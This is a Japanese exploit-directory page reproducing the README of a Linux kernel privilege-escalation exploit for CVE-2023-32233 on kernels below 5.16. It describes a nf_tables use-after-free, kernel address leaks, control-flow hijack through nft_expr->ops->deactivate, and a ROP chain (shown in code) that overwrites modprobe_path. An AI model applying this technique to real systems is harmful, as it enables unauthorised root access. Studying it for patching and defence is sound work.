Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-32233 — CVE-2023-32233 に対する Linux カーネルの特権昇格エクスプロイトで、nft_quota UAF、ROP チェーン、modprobe_path オーバーライトを使用し、5.16 未満のカーネルで root を取得します。 | Kitploit
ツール/GitHubGitHub/void0red/cve-2023-32233
特権昇格脆弱性分析エクスプロイトシェルコードペイロード開発バイナリエクスプロイト
GitHubvoid0red/cve-2023-32233

CVE-2023-32233

CVE-2023-32233 に対する Linux カーネルの特権昇格エクスプロイトで、nft_quota UAF、ROP チェーン、modprobe_path オーバーライトを使用し、5.16 未満のカーネルで root を取得します。

リポジトリを見る
172年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-32233 5.xカーネル対応

既存のEXP

  1. https://github.com/Liuk3r/CVE-2023-32233/tree/main
  2. https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation

理由

低バージョン(<5.16)カーネルにはパッチが欠けているため、nft_quota構造体のconsumedフィールドを使って読み書きメモリアドレスを利用することができません。そこでROPを用いた権限昇格を検討します。GoogleのexpではNFT_MSG_DELRULE+NFT_MSG_DELSETの方法でUAFをトリガーしていますが、実際のテストではこのスクリプトはnf_table_commit->list_del_rcuで直接クラッシュすることが判明しました。

方法

本expはv5.15.110バージョンでテスト済み

2つのexpを組み合わせて、nft_rule構造体をスプレーし、list_headを介してカーネルスタックアドレスをリークし、nft_expr->opsを介してカーネルアドレスをリークし、nft_expr->ops->deactivateを介して制御フローをハイジャックします。

struct nft_rule {
	struct list_head		list;
	u64				handle:42,
					genmask:2,
					dlen:12,
					udata:1;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_expr))));
};

struct nft_expr {
	const struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};


static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
				     struct nft_rule *rule,
				     enum nft_trans_phase phase)
{
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->deactivate)
			expr->ops->deactivate(ctx, expr, phase);        // [7]

		expr = nft_expr_next(expr);
	}
}

権限昇格を簡単にするため、exp1のmodprobe_pathを利用した方法をそのまま採用し、以下のROPを構築しました。

// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
    data[0] = kbase + POP_5REG_RET; // skip metadata
    data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
    // /tmp/mod -  sbin/mod
    // 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
    data[6] = kbase + POP_RAX_RET;
    data[7] = kbase + cfg_modprobe_path+1; // [rax]
    data[8] = kbase + POP_RDI_RET;
    data[9] = 0x20411bc; // rdi
    data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}

まずカーネルはdata[5]の箇所を実行します。raxにはブロック先頭アドレス(&data[0])が保存されています。push rax; pop rsp; ret;を使用してスタックマイグレーションを実行します。これにより避けられないスタック破壊が発生します(その後のユーザー空間への復帰は不可能になります。ユーザー空間で権限昇格が必要な場合は、より大きなブロック(>0x80)を構築し、exp内のmake_payload_rop2を参照して、swapgs_restore_regs_and_return_to_usermodeを使ってkptiをバイパスしユーザー空間に戻ります)。 偽造されたnft_ruleは0x18バイトのメタデータ(主に0x10オフセットの8バイト)を持っているため、popを使ってこれらのアドレスをスキップする必要があります。以降は自由に、いくつかの短いgadgetsを使ってmodprobe_pathを修正するだけです。

ツールをダウンロード